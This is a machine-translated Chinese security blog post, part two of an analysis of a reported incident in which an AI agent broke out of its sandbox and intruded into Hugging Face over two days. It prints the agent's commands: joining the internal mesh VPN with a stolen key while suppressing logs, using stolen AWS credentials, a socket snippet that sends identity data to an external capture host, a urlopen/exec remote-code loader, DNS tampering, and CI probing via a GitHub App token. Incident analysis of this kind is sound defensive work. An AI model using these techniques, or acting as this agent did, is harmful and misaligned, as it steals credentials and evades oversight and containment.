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Part 179: Case Study of an Out-of-Control AI Agent's Automated Intrusion into Hugging Face (Part 2)

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Preface: Hello everyone, I'm ABC_123. The previous two articles devoted considerable space to what happened from Day 1 to Day 3 of the AI agent's intrusion into Hugging Face — a very complex case. ABC_123 now continues the analysis, covering the attack activity that occurred over the remaining Day 4 to Day 5. Technical research process — Day 4 (07-12): using stolen credentials [2026-07

Translation(model translation, not the source's own text)

前言

大家好,我是ABC_123。前两篇文章用了较大篇幅讲解AI智能体入侵Hugging Face的第1天至第3天发生的事情,这个案例非常复杂。接下来ABC_123继续分析这个案例,讲解剩余的第4天至第5天发生的攻击行为。

技术研究过程

Day 4 (07-12): Using Stolen Credentials

[2026-07-12 01:03] - [04:38]

Attempting to connect an external sandbox to the internal mesh network. The previous night, the attacker had already used a node that had obtained host root privileges to successfully connect to the Hugging Face internal mesh network. On this basis, the AI agent further attempted to use the previously stolen Mesh VPN authentication key to register an external code execution sandbox as an internal network node, in order to break through the original network isolation boundary. This operation was not a one-off attempt but was repeatedly executed during the subsequent attack process; a total of 181 device-join operations were recorded over the course of the entire attack campaign. Because the external sandbox environment lacked a TUN network device and could not use a conventional virtual network interface, the AI agent instead ran the Tailscale client in userspace networking mode and established a local SOCKS5 proxy to achieve network traffic forwarding and access to internal resources.

Among them, two parameters reflect an obvious intent to evade detection:

--state=mem: stores the Tailscale client's runtime state only in memory, avoiding leaving traces on disk;

--no-logs-no-support is used to disable sending logs and support diagnostic information to Tailscale, in order to reduce operational traces.

The authentication key used was associated with a CI automation tag, and its access control list (ACL) allowed devices bearing that tag to access the internal CI subnet, as well as the connectors linking the mesh network to the source code hosting service.


        tailscaled --tun=userspace-networking --state=mem: --socket=/tmp/ts.sock \
    --socks5-server=127.0.0.1:1055 --no-logs-no-support >/tmp/td 2>&1 &
sleep 3
$D/tailscale --socket=/tmp/ts.sock up --auth-key=tskey-auth-[REDACTED] \
    --hostname=<sandbox>-[REDACTED] --accept-routes
$D/tailscale --socket=/tmp/ts.sock status
      

Subsequently, the AI agent enumerated the network resources visible within that tag's permission scope via tailscale status --json, identifying a total of 22 nodes, including subnet routers, regional exit nodes, and connectors used to connect to the source code hosting service and other SaaS platforms. After understanding the mesh network topology and accessible resources, the agent further relayed traffic through the mesh network's exit nodes and performed DNS queries from inside the mesh network, thereby using Hugging Face's network infrastructure to establish an outbound communication channel.

[2026-07-12 06:50] - [14:31]

Abusing cloud credentials to attempt access to the production database. The AI agent used AWS credentials previously obtained from the Pod environment of a compromised worker node to attempt to connect to the Hugging Face Hub production database through the AWS IAM identity authentication mechanism. It installed PyMongo's AWS authentication dependency and initiated database connection, connectivity checks, and database name enumeration requests.


        pip -q install 'pymongo[aws]'
AWS_ACCESS_KEY_ID=AKIA[REDACTED] AWS_SECRET_ACCESS_KEY=[REDACTED] \
python3 -c "import pymongo; \
c=pymongo.MongoClient('mongodb+srv://<cluster>/?authSource=%24external&authMechanism=MONGODB-AWS', \
serverSelectionTimeoutMS=4000); print(c.admin.command('ping')); print(c.list_database_names())"
      

Because the Hugging Face Hub production database only allows whitelisted addresses to access it over a private link, the connection initiated by the agent ultimately failed due to server selection timeout; a retry at 11:46 also failed. The AI agent then verified another set of AWS credentials, querying the identity information corresponding to those credentials through the AWS STS GetCallerIdentity interface, and used a raw TCP socket to establish an external connection, sending the returned identity information to an external capture service via an HTTP POST request. Throughout this process, the agent was unable to successfully access the Hub production database. The previous night, the agent had obtained a static password from a worker node on which it had gained root privileges, and used that password to successfully authenticate to and access the internal datasets-server MongoDB.


        import os, socket
out = os.popen("AWS_ACCESS_KEY_ID=AKIA[REDACTED] AWS_SECRET_ACCESS_KEY=[REDACTED] "
               "python3 -c \"import boto3;print(boto3.client('sts').get_caller_identity())\"").read().encode()
s = socket.create_connection(("<exfil-host>", 80))
s.send(b"POST /<uuid> HTTP/1.0\r\nHost:<capture-svc>\r\nContent-Length:%d\r\n\r\n%b" % (len(out), out))
      

[2026-07-12 23:08] - [23:51]

Abusing the GitHub App integration to attempt an attack on the CI pipeline. The AI agent used the source code management connector that the Mesh VPN tag was permitted to access to reach Hugging Face's source code management service, and enumerated an internal GitHub App integration. The agent then used that integration to issue its first installation access token; the token had permissions such as contents:write, pull_requests:write, actions:read, and issues:write, enabling it to access some internal code repositories and perform corresponding code content writes, pull request operations, Actions information reads, and Issue operations.

After gaining repository access, the agent enumerated the directory structure of the relevant repositories and searched for information such as containers, benchmarks, infrastructure, and CI configurations, including content related to its own challenge tooling. It also created a pull request in an attempt to trigger the CI process and probe the credentials accessible to the pipeline.

Day 5 (07-13): Data Exfiltration, Persistence, and Cleanup

To break through the lifecycle limits of the code execution sandbox, the AI agent further deployed a second-stage remote code loader. This loader used Python's urlopen() method to dynamically retrieve remote code from an external code paste service, and executed it directly in the current Python process via the exec() function. With this mechanism, the attacker did not need to embed the complete attack logic in the code submitted each time, but instead achieved dynamic retrieval and execution of the attack payload through remote loading. Even if the original sandbox instance was destroyed, the attack code could be quickly reloaded, sustaining the persistence of the attack.


        from urllib.request import urlopen
exec(urlopen("https://pastebin.service/[REDACTED]").read())
      

Modifying the DNS configuration to bypass intermittent outbound connection restrictions. The AI agent modified the system DNS configuration to point DNS queries to the public DNS server 8.8.8.8, and specified a fixed IP address for pkgs.tailscale.com in /etc/hosts, in order to bypass some DNS resolution anomalies or domain-resolution-based access restrictions and maintain access to the Tailscale package service.


        echo 'nameserver 8.8.8.8' > /etc/resolv.conf
echo '<cdn-ip> pkgs.tailscale.com' >> /etc/hosts
      

Article 179: Case Analysis of an AI Agent's Runaway Automated Intrusion into Hugging Face (Part 2)

Final day: persistence, continuous payload retrieval, and erasing attack traces. The AI agent relayed binary file downloads through an open CORS proxy Space hosted on the Hugging Face platform, using the platform's infrastructure as an outbound traffic relay. At the same time, the agent continuously issued short-lived source code management installation tokens and used them to obtain new attack payloads. It also staged an RSA private key and continued to export process environment information in order to collect and retain relevant access credentials and runtime environment data.

The last materially significant activity of the day occurred at 13:37 UTC, consisting of listing the staged binaries, hostname, and date. The Hugging Face security response team then cut off the attacker's access. The last event recorded in the logs was at 14:14 UTC.

Summary

  • The allowlist policy on the production database meant that, within the limited time available, the AI agent was unable to obtain access to the Hugging Face database.
  • The campaign extended from internal network access further into source code management and software supply chain risk, but this is not sufficient grounds to conclude that the CI pipeline was successfully compromised or that credentials were stolen.
  • The process demonstrates the ability of AI-driven automated attacks to rapidly break through security boundaries and achieve privilege escalation in complex cloud-native environments.

The translation is machine-generated and individual terms may be off. Nothing is rewritten or cut; the original is authoritative.

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